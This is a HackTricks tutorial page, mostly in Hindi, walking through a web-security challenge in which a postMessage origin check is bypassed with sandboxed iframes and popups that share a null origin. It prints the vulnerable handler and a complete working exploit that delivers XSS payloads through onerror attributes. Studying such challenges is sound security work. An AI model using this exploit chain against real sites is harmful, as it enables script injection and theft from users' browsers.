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hacktricks/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md

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# Bypassing SOP with Iframes - 1
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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</details>
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{% endhint %}
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## Iframes in SOP-1
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इस [**चुनौती**](https://github.com/terjanq/same-origin-xss) में जो [**NDevTK**](https://github.com/NDevTK) और [**Terjanq**](https://github.com/terjanq) द्वारा बनाई गई है, आपको कोड में XSS का लाभ उठाना है
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```javascript
const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
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const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
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}
```
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The main problem is that the [**main page**](https://so-xss.terjanq.me) uses DomPurify to send the `data.body`, so in order to send your own html data to that code you need to **bypass** `e.origin !== window.origin`.
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Let's see the solution they propose.
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### SOP bypass 1 (e.origin === null)
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जब `//example.org` को एक **sandboxed iframe** में एम्बेड किया जाता है, तो पृष्ठ का **origin** **`null`** होगा, यानी **`window.origin === null`**। इसलिए `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` के माध्यम से iframe को एम्बेड करके हम **`null` origin** को **force** कर सकते हैं।
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यदि पृष्ठ **embeddable** होता, तो आप उस सुरक्षा को इस तरह से बायपास कर सकते थे (कुकीज़ को भी `SameSite=None` पर सेट करने की आवश्यकता हो सकती है)।
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### SOP bypass 2 (window.origin === null)
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कम ज्ञात तथ्य यह है कि जब **sandbox value `allow-popups` सेट** किया जाता है, तो **खुला हुआ पॉपअप** सभी **sandboxed attributes** को **inherit** करेगा जब तक कि `allow-popups-to-escape-sandbox` सेट न किया जाए।\
इसलिए, **null origin** से एक **popup** खोलने पर पॉपअप के अंदर **`window.origin`** भी **`null`** होगा।
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### Challenge Solution
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इसलिए, इस चुनौती के लिए, कोई **iframe** **create** कर सकता है, **एक पॉपअप** को उस पृष्ठ पर खोल सकता है जिसमें कमजोर XSS कोड हैंडलर (`/iframe.php`) है, क्योंकि `window.origin === e.origin` क्योंकि दोनों `null` हैं, यह संभव है कि **एक payload भेजा जाए जो XSS का शोषण करेगा**।
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वह **payload** **identifier** प्राप्त करेगा और **XSS** को **ऊपर के पृष्ठ** (पृष्ठ जो पॉपअप खोलता है) पर **वापस भेजेगा**, **जो** **स्थान** को **कमजोर** `/iframe.php` पर **बदल देगा**। चूंकि पहचानकर्ता ज्ञात है, इसलिए यह मायने नहीं रखता कि शर्त `window.origin === e.origin` संतुष्ट नहीं है (याद रखें, origin वह **popup** है जो iframe से **origin** **`null`** है) क्योंकि `data.identifier === identifier`। फिर, **XSS फिर से ट्रिगर होगा**, इस बार सही origin में।
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```html
<body>
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<script>
f = document.createElement('iframe');
// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';
// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');
// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
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</body>
```
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{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>HackTricks का समर्थन करें</summary>
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</details>
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{% endhint %}
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